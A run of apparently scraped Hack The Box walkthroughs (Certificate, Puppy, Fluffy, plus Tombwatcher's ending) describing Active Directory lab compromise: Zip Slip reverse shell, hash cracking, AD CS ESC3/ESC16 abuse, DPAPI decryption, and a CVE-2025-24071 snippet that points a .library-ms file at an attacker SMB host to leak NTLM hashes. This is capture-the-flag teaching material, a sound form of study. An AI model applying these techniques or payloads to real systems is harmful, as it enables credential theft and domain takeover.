It embedded with the Administrator’s UPN (‘Administrator@tombwatcher.htb’) and SID (‘S-1-5-21-1392491010-1358638721-2126982587-500’), enabling Certipy to obtain a Kerberos Ticket Granting Ticket (TGT) for the Administrator account. Certipy stores the TGT in administrator.ccache and extracts the NT hash for administrator@tombwatcher.htb ,allowing privilege escalation or full administrative access within the tombwatcher.htb domain.

Successfully gained access to the tombwatcher.htb domain using the extracted NT hash for ‘administrator@tombwatcher.htb’

Issuing the command type root.txt allows reading the root flag on the compromised machine in the tombwatcher.htb domain, confirming administrative access.

The post Hack The Box: Tombwatcher Machine Walkthrough – Medium Difficulty appeared first on Threatninja.net.

Hack The Box: Certificate Machine Walkthrough – Hard Difficulty

✇Threatninja.net
By: darknite
4 October 2025 at 10:58
Reading Time: 12 minutes

Introduction to Certificate:

In this write-up, we will explore the “Certificate” machine from Hack The Box, categorized as a Hard difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the “Certificate” machine from Hack The Box by achieving the following objectives:

User Flag:

We found a login account (lion.sk) by analyzing network traffic and files, then cracked a captured password hash to get the password. Using that password we remotely logged into the machine as lion.sk and opened the desktop to read the user.txt file, which contained the user flag.

Root Flag:

To get full control (root), we abused the machine’s certificate system that issues digital ID cards. By requesting and extracting certificate material and using a small trick to handle the server’s clock, we converted those certificate files into administrative credentials. With those elevated credentials we accessed the system as an admin and read the root.txt file for the root flag.

Enumerating the Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine. 

nmap -sC -sV -oA initial 10.10.11.71

Nmap Output: 

┌─[dark@parrot]─[~/Documents/htb/certificate]
└──╼ $nmap -sC -sV -oA initial 10.10.11.71 
# Nmap 7.94SVN scan initiated Tue Sep 30 21:48:51 2025 as: nmap -sC -sV -oA initial 10.10.11.71
Nmap scan report for 10.10.11.71
Host is up (0.048s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.0.30)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
|_http-title: Did not follow redirect to http://certificate.htb/
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-10-01 03:49:25Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-10-01T03:50:56+00:00; +2h00m32s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2024-11-04T03:14:54
|_Not valid after:  2025-11-04T03:14:54

445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
Service Info: Hosts: certificate.htb, DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2h00m30s, deviation: 2s, median: 2h00m30s
| smb2-security-mode: 3:1:1: Message signing enabled and required
| smb2-time: date: 2025-10-01T03:50:14

Analysis:

  • 53/tcp — DNS (Simple DNS Plus): name resolution and potential zone/host enumeration.
  • 80/tcp — HTTP (Apache/PHP): web app surface for discovery, uploads, and common web vulnerabilities.
  • 88/tcp — Kerberos: AD authentication service; useful for ticket attacks and Kerberos enumeration.
  • 135/tcp — MSRPC: RPC endpoint for Windows services (potential remote service interfaces).
  • 139/tcp — NetBIOS-SSN: legacy SMB session service — useful for NetBIOS/SMB discovery.
  • 389/tcp — LDAP: Active Directory directory service (user/group enumeration and queries).
  • 445/tcp — SMB (Microsoft-DS): file shares and SMB-based lateral movement/credential theft.
  • 464/tcp — kpasswd (Kerberos password change): Kerberos password change service.
  • 593/tcp — RPC over HTTP: RPC tunneled over HTTP — can expose various Windows RPC services.
  • 636/tcp — LDAPS: Secure LDAP over TLS — AD queries and certificate info via encrypted channel.
  • 3268/tcp — Global Catalog (LDAP): AD global catalog queries across the forest (fast user/group lookup).
  • 3269/tcp — Global Catalog over TLS: Encrypted global catalog queries for secure AD enumeration.

Web Enumeration:

The website’s interface initially appears conventional.

The Account tab contains options for logging in and registering.

Let’s create a new account here.

You can register in the same way as shown above.

The registration was successful.

Therefore, let’s log in using the credentials we created earlier.

Successful access will display an interface similar to the one shown above.

Clicking the course tab displays the interface shown above.

As a result, let’s enrol in the course.

There are many sessions, but the quiz is what caught my attention at the moment.

There is an upload button available in the quizz section.

We are required to upload a report in PDF, DOCX, PPTX, or XLSX format.

After a while, I uploaded a form.pdf file that contained empty content.

Once the file is successfully uploaded, we need to click the “HERE” link to verify that it has been uploaded into the system.

It worked like a charm.

Exploiting Zip Slip: From Archive to Remote Code Execution

Zip Slip is a critical arbitrary file overwrite vulnerability that can often lead to remote command execution. The flaw impacts thousands of projects, including those from major vendors such as HP, Amazon, Apache, and Pivotal. While this type of vulnerability has existed previously, its prevalence has recently expanded significantly across a wide range of projects and libraries.

Let’s implement a PHP reverse shell to establish a reverse connection back to our host.

Compress the PDF into dark.zip and upload it as a standard archive file.

We also compress the test directory, which includes exploit.php, into a ZIP archive.

Combine the two ZIP archives into a single ZIP file for upload as part of an authorized security assessment in an isolated testing environment.

Initiate the listener.

Upload the shell.zip file to the designated test environment within the authorized, isolated assessment scope.

Access the specified URL within the isolated test environment to observe the application’s behavior.

After a short interval, the connection was reestablished.

Among numerous users, the account xamppuser stood out.

Consequently, inspect the certificate.htb directory located under /xampp/htdocs.

I discovered information indicating that we can utilise the MySQL database.

Executing the MySQL command returned no errors, which is a positive sign.

MySQL Reconnaissance and Attack Surface Mapping

As a result, we navigated to /xampp/mysql/bin, used mysql.exe to run SQL commands, and successfully located the database.

The users table drew my attention.

There is a significant amount of information associated with several users.

While scrolling down, we identified a potential user named sara.b.

The hash was collected as shown above.

All the hashes use Blowfish (OpenBSD), WoltLab Burning Board 4.x, and bcrypt algorithms.

When using Hashcat, a specific hash mode is required.

After extended processing, the password for the suspected account sara.b was recovered as Blink182.

Attempting to access the machine using Sara.B’s credentials.

Unfortunately, Sara.B’s desktop contains no files.

Bloodhound enumeration

We can proceed with further analysis using the BloodHound platform.

Sara.B Enumeration for Lateral Movement

We can observe the WS-01 directory.

There are two different file types present.

The Description.txt file reports an issue with Workstation 01 (WS-01) when accessing the Reports SMB share on DC01. Incorrect credentials correctly trigger a “bad credentials” error, but valid credentials cause File Explorer to freeze and crash. This suggests a misconfiguration or fault in how WS-01 handles the SMB share, potentially due to improper permissions or corrupt settings. The behavior indicates a point of interest for further investigation, as valid access attempts lead to system instability instead of normal access.

Download the pcap file to our machine for further analysis.

Wireshark analaysis

There are numerous packets available for further investigation.

Upon careful analysis of packet 917, I extracted the following Kerberos authentication hash: $krb5pa$18$Lion.SK$CERTIFICATE.HTB$23f5159fa1c66ed7b0e561543eba6c010cd31f7e4a4377c2925cf306b98ed1e4f3951a50bc083c9bc0f16f0f586181c9d4ceda3fb5e852f0.

Alternate Certificate Forging via Python Script

Alternatively, we can use a Python script here

Save the hash to hash.txt.

The recovered password is !QAZ2wsx.

This confirms that the account lion.sk can authenticate to WinRM using the password !QAZ2wsx.

We successfully accessed the lion.sk account as expected.

Read the user flag by running the command: type user.txt.

Escalate To Root Privileges Access

Privilege Escalation:

Sara.B is listed as a member of Account Operators and has GenericAll rights over the lion.sk account. In plain terms, that means Sara.B can fully manage the lion.sk user — change its password, modify attributes, add it to groups, or even replace its credentials. Because Account Operators is a powerful built‑in group and GenericAll grants near‑complete control over that specific account, this is a high‑risk configuration: an attacker who compromises Sara.B (or abuses her privileges) could take over lion.sk and use it to move laterally or escalate privileges.

Synchronise the system clock with certificate.htb using ntpdate: ntpdate -s certificate.htb

ESC3 Enumeration and CA Configuration Analysis

What is ESC3 Vulnerability?

In a company, employees get digital certificates—like special ID cards—that prove who they are and what they’re allowed to do. The ESC3 vulnerability happens when certain certificates allow users to request certificates on behalf of others. This means someone with access to these certificates can pretend to be another person, even someone with higher privileges like an admin.

Because of this, an attacker could use the vulnerability to gain unauthorized access to sensitive systems or data by impersonating trusted users. It’s like being able to get a fake ID that lets you enter restricted areas.

Fixing this involves limiting who can request these certificates and carefully controlling the permissions tied to them to prevent misuse.

Using lion.sk credentials, Certipy enumerated 35 certificate templates, one CA (Certificate-LTD-CA), 12 enabled templates, and 18 issuance policies. Initial CA config retrieval via RRP failed due to a remote registry issue but succeeded on retry. Web enrollment at DC01.certificate.htb timed out, preventing verification. Certipy saved results in text and JSON formats and suggests using -debug for stack traces. Next steps: review saved outputs and confirm DC01’s network/service availability before retrying.

Certipy flagged the template as ESC3 because it contains the Certificate Request Agent EKU — meaning principals allowed to enrol from this template (here CERTIFICATE.HTB\Domain CRA Managers, and Enterprise Admins listed) can request certificates on behalf of other accounts. In practice, that lets those principals obtain certificates that impersonate higher‑privilege users or services (for example ,issuing a cert for a machine or a user you don’t control), enabling AD CS abuse and potential domain escalation.

Request the certificate and save it as lion.sh.pfx.

Certificate Issued to Ryan.k

Sara.B is a member of Account Operators and has GenericAll permissions on the ryan.k account — in simple terms, Sara.B can fully control ryan.k (reset its password, change attributes, add/remove group membership, or replace credentials). This is high risk: if Sara.B is compromised or abused, an attacker can take over ryan.k and use it for lateral movement or privilege escalation. Recommended actions: limit membership in powerful groups, remove unnecessary GenericAll delegations, and monitor/account‑change audit logs.

Certipy requested a certificate via RPC (Request ID 22) and successfully obtained a certificate for UPN ryan.k@certificate.htb; the certificate object SID is S-1-5-21-515537669-4223687196-3249690583-1117 and the certificate with its private key was saved to ryan.k.pfx.

Unfortunately, the clock skew is too large.

When using the faketime command, it behaves as expected.

With explicit permission and in a controlled environment, verify whether the extracted hash can authenticate as ryan.k for investigative purposes.

Abusable Rights: SeManageVolumePrivilege

The following privileges are enabled: SeMachineAccountPrivilege — Add workstations to the domain; SeChangeNotifyPrivilege — Bypass traverse checking; SeManageVolumePrivilege — Perform volume maintenance tasks; SeIncreaseWorkingSetPrivilege — Increase a process’s working set.

Let’s create a temporary directory.

While executing the command, we encountered the error Keyset does not exist, indicating the required cryptographic key material is missing or inaccessible.

Therefore, we need to transfer the SeManageVolumeExploit.exe file to the target machine.

It refers to entries that have been modified.

I ran icacls on Windows, and it successfully processed 1 file with 0 failures.

Finally, it worked exactly as I expected.

We can now download the ca.pfx file to our local machine

Certificate Forgery for Domain Auth (Certipy)

We can convert the ca.pfx file into admin.pfx.

Authentication failed because the clock skew is too significant.

After switching to faketime, it worked like a charm.

Read the root flag by running the command: type root.txt.

The post Hack The Box: Certificate Machine Walkthrough – Hard Difficulty appeared first on Threatninja.net.

Hack The Box: Puppy Machine Walkthrough – Medium Difficulty

✇Threatninja.net
By: darknite
27 September 2025 at 10:58
Reading Time: 13 minutes

Introduction to Puppy:

In this writeup, we will explore the “Puppy” machine from Hack The Box, categorised as an Medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective on Puppy Machine:

The goal of this walkthrough is to complete the “Puppy” machine from Hack The Box by achieving the following objectives:

User Flag:

Gaining the user flag on the Puppy machine was a calculated strike. Using levi.james’s credentials, I escalated access by adding the account to the DEVELOPERS group, unlocking the DEV share. Brute-forcing the recovery.kdbx file with the password “Liverpool” exposed ant.edwards:Antman2025!, which enabled resetting ADAM.SILVER’s password. A swift WinRM login as ADAM.SILVER and a quick “type user.txt” snagged the flag from the desktop.

Root Flag:

The root flag fell after a relentless push through credential exploitation. From a backup file in C:\Backups, I extracted steph.cooper:ChefSteph2025! and used it to access a WinRM shell. Exfiltrating DPAPI keys via an SMB share and decrypting them with Impacket unveiled steph.cooper_adm:FivethChipOnItsWay2025!. Logging in as this user opened the Administrator directory, where “type root.txt” delivered the final prize.

Enumerating the Puppy Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine. 

nmap -sC -sV -oA initial -Pn 10.10.11.70

Nmap Output: 

┌─[dark@parrot]─[~/Documents/htb/puppy]
└──╼ $nmap -sC -sV -oA initial -Pn 10.10.11.70 
# Nmap 7.94SVN scan initiated Fri Sep 26 16:50:55 2025 as: nmap -sC -sV -oA initial -Pn 10.10.11.70
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-09-27 03:25:03Z)
111/tcp  open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status

135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
2049/tcp open  nlockmgr      1-4 (RPC #100021)
3260/tcp open  iscsi?
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 6h33m43s
| smb2-time: 
|   date: 2025-09-27T03:26:54
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Analysis:

  • 53/tcp: DNS (Simple DNS Plus) for name resolution.
  • 88/tcp: Kerberos authentication service for AD logins.
  • 135/tcp & 593/tcp: Microsoft RPC endpoints for service enumeration.
  • 139/tcp & 445/tcp: NetBIOS and SMB for file shares and potential lateral movement.
  • 389/tcp & 3268/tcp: LDAP and Global Catalog for AD enumeration.
  • 464/tcp: Kerberos password change service.
  • 111/tcp & 2049/tcp: NFS and RPC services (mountd, nlockmgr) for file system access.
  • 636/tcp & 3269/tcp: Encrypted LDAP services (LDAPS/GC).
  • 3260/tcp: Potential iSCSI storage interface.

Enumeration:

Bloodhound

Executed bloodhound-python with levi.james credentials against puppy.htb (using 10.10.11.70 as the DNS/collector). The tool enumerated Active Directory data (users, groups, computers, sessions, ACLs, trusts, etc.) with -c All and packaged the results into a zipped bundle (--zip) ready for import into BloodHound to map privilege-escalation and lateral-movement paths.

levi.james is in HR and DEVELOPERS and holds GenericWrite — he can modify attributes/DACLs on writable objects; on HTB, use BloodHound to find those machines/groups/service accounts and abuse them (add users to privileged groups, change DACLs, or set an SPN) to escalate.

rpcclient — Enumerating domain users

Using rpcclient, we connected to the target machine as levi.james and enumerated the domain users. The enumeration output listed several accounts, including Administrator, Guest, service accounts such as krbtgt, and multiple regular users like levi.james, ant.edwards, adam.silver, jamie.williams, steph.cooper, and steph.cooper_adm. These findings provide a useful starting point for further steps, such as detailed enumeration or potential password spraying attacks.

SMBclient enumeration

Running netexec smb against 10.10.11.70 with levi.james‘s credentials successfully enumerated SMB shares. The results show IPC$, NETLOGON, and SYSVOL are accessible with read-only permissions, while ADMIN$, C$, and DEV shares are inaccessible. This read access can be useful for gathering domain information or extracting scripts and policies from SYSVOL and NETLOGON for further enumeration.

Running smbclient //10.10.11.70/DEV -U levi.james attempted to access the DEV share using levi.james‘s credentials. The connection was successful, but when trying to list the contents (ls), the server returned NT_STATUS_ACCESS_DENIED, indicating that the account does not have the required permissions to view or access files in this share.

Using bloodyAD, we connected to the domain controller (dc.puppy.htb) with levi.james‘s credentials and successfully added the user levi.james to the DEVELOPERS group, granting him all privileges associated with the group. After re-authenticating, we reconnected to the DEV share with smbclient and were able to list its contents. The share contained several notable items, including KeePassXC-2.7.9-Win64.msi, a Projects folder, recovery.kdbx (a KeePass database), and tiCPYdaK.exe. These files provide valuable leads for further enumeration, with the KeePass database being a strong candidate for extracting credentials to escalate privileges or move laterally within the network.

Downloaded the recovery.kdbx file from the DEV share to the local machine for offline analysis.

KDBX cracking — offline KeePass recovery

The file command identified recovery.kdbx as a KeePass 2.x KDBX password database.

We ran keepass2john on the file to extract password hashes, but it failed with an error indicating that the file version 40000 is not supported, so no hashes could be generated.

keepass4brute — running KDBX brute-force responsibly

Cloning that repository downloads the keepass4brute project from GitHub to your local machine, giving you the scripts, tools, and documentation included by the author for attempting offline recovery or brute-force against KeePass databases. After cloning, check the README for dependencies and usage instructions, verify the tool supports your KDBX version, and run it on a local copy of the database only with explicit authorization — misuse may be illegal or unethical.

The repository we cloned to our machine contains four items: .gitignore (ignored files), LICENSE (project license), README.md (usage and setup instructions), and keepass4brute.sh (the main brute-force script). Review the README and LICENSE before running the script, confirm dependencies, and scan any downloaded executables for malware.

Run the script like this: ./keepass4brute.sh <kdbx-file> <wordlist> to attempt brute-forcing the KeePass database with a specified wordlist.

The script aborted because keepassxc-cli is not installed. Install keepassxc-cli and rerun the script to continue the brute-force attempt.

I found a solution online: run sudo apt update then sudo apt install keepassxc to install KeepassXC (which provides keepassxc-cli). After installation, rerun the script.

The script is working and currently running.

Funny enough, it seems the machine creator might be a Liverpool fan, given that the recovered password is liverpool.

KeePassXC reveal — stored passwords recovered

We unlocked recovery.kdbx in KeepassXC using the password Liverpool.

Discovered a KeePass password database associated with the machine.

The user account that can be leveraged for privilege escalation or access.

The screenshots above show each user’s password.

The screenshot above displays the list of usernames.

Above displays the list of usernames along with their passwords.

I ran nxc smb against 10.10.11.70 with user list user.txt and password list password.txt using –continue-on-success; only the credential pair ant.edwards:Antman2025! succeeded.

ant.edwards sits in the SeniorDevs group and has GenericAll over adam.silver — meaning ant.edwards has full control of that account (reset password, change group membership, modify attributes or SPNs).

Using bloodyAD against dc.puppy.htb with the credentials ant.edwards:Antman2025!, we reset ADAM.SILVER’s password to p@ssw0d123! The tool reported the change succeeded, giving us direct access to the ADAM.SILVER account for follow-up enumeration or lateral movement.

ADAM.SILVER is currently disabled, so interactive logons with that account will fail until it’s re-enabled. Because ant.edwards has GenericAll over ADAM.SILVER, that account could be re-enabled and its password reset (or userAccountControl changed) to gain access — a straightforward takeover path once permissions are abused.

LDAP enumeration & ldapmodify — abusing recovered credentials

The bind failed because the LDAP server rejected the credentials — LDAP error code 49 (Invalid credentials). The extra text AcceptSecurityContext ... data 52e specifically indicates a bad username/password. Common causes are an incorrect password, wrong account name format (try DOMAIN\user or user@domain), or the account being locked or disabled. Verify the credentials and account status, then retry the bind.

The server returned an Operations error saying a successful bind is required before performing the search. In short: the LDAP query ran without an authenticated session (or the previous bind failed), so the server refused the operation. Fix by performing a successful bind first — supply valid credentials (try correct UPN or DOMAIN\user format), confirm the account is not locked/disabled, and then rerun the ldapsearch. If the server disallows anonymous/simple binds, use an authenticated bind method.

The LDAP errors were resolved after synchronizing the system clock using ntpdate. Kerberos and Active Directory require closely matched time between client and domain controller; even a small time drift can cause bind failures or “invalid credentials” errors. After correcting the time, the bind succeeded and LDAP queries worked as expected.

A userAccountControl value of 66050 indicates that the account is disabled in Active Directory.

The ldapmodify command was used to connect to the LDAP server with ANT.EDWARDS@PUPPY.HTB and modify Adam D. Silver’s account. It updated the userAccountControl attribute from 66050 (disabled) to 66048, enabling the account while keeping other flags intact. This change allows Adam D. Silver to log in and use his assigned permissions.

Start a WinRM session to 10.10.11.70 using ADAM.SILVER with password p@ssw0rd123! to obtain a remote Windows shell via evil-winrm.

Grab the user flag by running type user.txt in the WinRM shell.

Escalate to Root Privileges Access

Privilege Escalation:

There is a Backups directory located inside C:\ on the target machine.

The Backups directory contains a file named site-backup-2024-12-30.zip.

Downloaded the backup file to our local machine.

Backup triage — uncovering secrets in site-backup

Next, the backup file is extracted to inspect and analyse its contents in detail.

The extracted backup contains two directories, assets and images, along with two files: index.html and nms-auth-config.xml.bak.

The file nms-auth-config.xml.bak caught my attention; it is an XML 1.0 document in ASCII text format.

User access obtained — steph.cooper

The nms-auth-config.xml.bak file contains LDAP authentication details, including a bind account cn=steph.cooper,dc=puppy,dc=htb with password ChefSteph2025!, which can be used to query the LDAP server at DC.PUPPY.HTB:389. It also defines how user attributes (uid, givenName, sn, mail) and group attributes (cn, member) are mapped, along with a search filter for querying users. This makes the file both a sensitive credential source and a guide for LDAP enumeration.

Authenticated to 10.10.11.70 over WinRM using steph.cooper:ChefSteph2025! and obtained an interactive shell — host compromised (Pwn3d!)

Established a WinRM session to 10.10.111.70 using steph.cooper:ChefSteph2025! via vil-winrm and obtained an interactive shell — host compromised.

Ran bloodhound-python with steph.cooper:ChefSteph2025! against puppy.htb (collector DNS 10.10.11.70), which enumerated AD objects (users, groups, computers, sessions, ACLs, trusts, etc.) and packaged the output into a zipped bundle ready for import into BloodHound to map privilege-escalation and lateral-movement paths.

STEPH.COOPER@PUPPY.HTB holds DOMAIN ADMINS and ADMINISTRATORS membership, giving full domain-level control, while STEPH.COOPER_ADM@PUPPY.HTB belongs to ENTERPRISE ADMINS, granting top-level, forest-wide privileges across the entire network.

Decrypting DPAPI master key for root access

The script iterates every profile under C:\Users and, for each user, prints headings then lists full paths to DPAPI “Master Key” files (under AppData\Roaming\Microsoft\Protect and AppData\Local\Microsoft\Protect) and credential blobs (under AppData\Roaming\Microsoft\Credentials and AppData\Local\Microsoft\Credentials). It suppresses errors when folders don’t exist and outputs the exact file paths—useful for locating DPAPI keys and credential files for offline extraction and decryption.

That command starts an SMB server that exposes the local ./share directory as a network share named share with SMB2 support enabled, allowing remote hosts to connect and retrieve or push files (commonly used to serve payloads or collect exfiltrated data during engagements).

I noticed several directories under C:\Users\steph.cooper\AppData\Roaming\Microsoft that can be leveraged.

Permission denied when attempting to access that path.

After some time, I realised we need to create a local directory share on our machine.

Finally, it worked as expected.

Downloaded the files to the local machine successfully.

An error occurred: X509_V_FLAG_NOTIFY_POLICY appeared. This typically relates to SSL/TLS certificate verification issues during the connection or handshake process.

After investigating on my machine, I discovered that the installed PyOpenSSL version is 23.0.0.

To resolve the issue, PyOpenSSL was first uninstalled using sudo pip3 uninstall pyOpenSSL and then reinstalled with the latest version via sudo pip3 install --upgrade pyOpenSSL.

To my surprise, the process worked successfully and produced the following decrypted master key:
0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84.
I can now use this key for further analysis or to decrypt stored credentials.

Impacket decoded a domain credential: the Username is steph.cooper_adm and the Unknown field contains the cleartext password FivethChipOnItsWay2025!. Use these credentials to attempt an interactive logon, then assess the account’s privileges and restrictions before pivoting.

Authenticated to 10.10.11.70 over WinRM with steph.cooper_adm:FivethChipOnItsWay2025! and obtained an interactive shell — host compromised (Pwn3d!).

It completed successfully.

Checked steph.cooper_adm’s desktop and did not find the root flag.

An Administrator directory is present — we can explore it for sensitive files and potential privilege escalation.

Grab the root flag by running type root.txt in the shell.

The post Hack The Box: Puppy Machine Walkthrough – Medium Difficulty appeared first on Threatninja.net.

Hack The Box: Fluffy Machine Walkthrough – Easy Difficulity

✇Threatninja.net
By: darknite
20 September 2025 at 10:58
Reading Time: 9 minutes

Introduction to Fluffy:

In this write-up, we will explore the “Fluffy” machine from Hack The Box, categorised as an easy difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Machine Information
In this scenario, similar to real-world Windows penetration tests, you begin the Fluffy machine with the following credentials: j.fleischman / J0elTHEM4n1990!.

Objective:

The goal of this walkthrough is to complete the “Fluffy” machine from Hack The Box by achieving the following objectives:

User Flag:

Initial access was gained by exploiting CVE-2025-24071 with a malicious .library-ms file delivered via SMB. The victim’s NTLMv2-SSP hash was captured with Responder and cracked using Hashcat (mode 5600), revealing prometheusx-303. Domain enumeration with BloodHound showed p.agila@fluffy.htb had GenericAll rights over Service Accounts, enabling control of winrm_svc.

Root Flag:

We escalated privileges by abusing the ca_svc account, which is a member of Service Accounts and Cert Publishers, granting it AD CS access. Using Certipy, we identified an ESC16 vulnerability, updated ca_svc’s userPrincipalName to impersonate the administrator, generated a certificate, and obtained both a TGT and the NT hash.

Enumerating the Fluffy Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine. 

nmap -sV -sC -oA initial -Pn 10.10.11.69

Nmap Output: 

┌─[dark@parrot]─[~/Documents/htb/fluffy]
└──╼ $nmap -sV -sC -oA initial -Pn 10.10.11.69
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-09-18 02:49:59Z)
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after:  2026-04-17T16:04:17
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-09-18T02:51:30+00:00; +4h17m24s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after:  2026-04-17T16:04:17
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-09-18T02:51:30+00:00; +4h17m24s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after:  2026-04-17T16:04:17

Analysis:

  • 53/tcp (DNS): Handles domain name resolution; check for zone transfer misconfigurations.
  • 88/tcp (Kerberos): Confirms Active Directory; use for Kerberos user enumeration or ticket attacks.
  • 139/tcp (NetBIOS-SSN): Legacy Windows file/printer sharing; enumerate shares and sessions.
  • 389/tcp (LDAP): Queryable directory service; useful for enumerating AD users, groups, and policies.
  • 445/tcp (SMB): Provides file sharing and remote management; test for SMB enumeration and null sessions.
  • 464/tcp (kpasswd5): Kerberos password change service; abuseable in AS-REP roasting or password reset attacks.
  • 636/tcp (LDAPS): Encrypted LDAP; secure channel for directory queries, still useful for enumeration if authenticated.
  • 3269/tcp (GC over SSL): Global Catalog LDAP over SSL; enables cross-domain AD enumeration.

Samba Enumeration

We discovered the Samba share as shown above.

By using impacket-smbclient with the provided credentials, we were able to gain access as shown above.

There are several files saved inside the directory, but one file in particular caught my attention — Upgrade_Notice.pdf.

We proceeded to download the PDF to our local machine.

Exploitability Research

A screenshot of a computer AI-generated content may be incorrect.

The PDF outlines the upgrade process and highlights several key vulnerabilities:

  • CVE-2025-24996 (Critical): External control of file names/paths in Windows NTLM, enabling network spoofing and possible unauthorized access.
  • CVE-2025-24071 (Critical): Windows File Explorer spoofing vulnerability where crafted .library-ms files in archives trigger SMB connections, leaking NTLM hashes without user action.
  • CVE-2025-46785 (High): Buffer over-read in Zoom Workplace Apps for Windows that allows an authenticated user to trigger network-based denial of service.
  • CVE-2025-29968 (High): Improper input validation in Microsoft AD CS leading to denial of service and potential system disruption.
  • CVE-2025-21193 (Medium): CSRF-based spoofing in Active Directory Federation Services, primarily impacting confidentiality.
  • CVE-2025-3445 (Low): Path traversal in Go library mholt/archiver, allowing crafted ZIPs to write files outside intended directories, risking data overwrite or misuse.

No other significant information appeared that we could leverage in this context.

CVE-2025-24071: Windows File Explorer SMB NTLM Disclosure

A screenshot of a computer program AI-generated content may be incorrect.

Vulnerable Code Analysis (CVE-2025-24071)

Malicious File Generation


The exploit dynamically creates an XML file with a hardcoded SMB path (\\attacker_ip\shared), which Windows automatically processes:

library_content = f"""
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <simpleLocation>
        <url>\\\\{ip_address}\\shared</url>  <!-- Vulnerable: Triggers SMB -->
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>"""

Manual Exploitation Process

Therefore, we proceeded to exploit it using the manual method, starting with the creation of a malicious .library-ms file.

Once the malicious .library-ms file is successfully created, it needs to be compressed into a ZIP archive.

Initiate the Responder and monitor the incoming network packets for analysis.

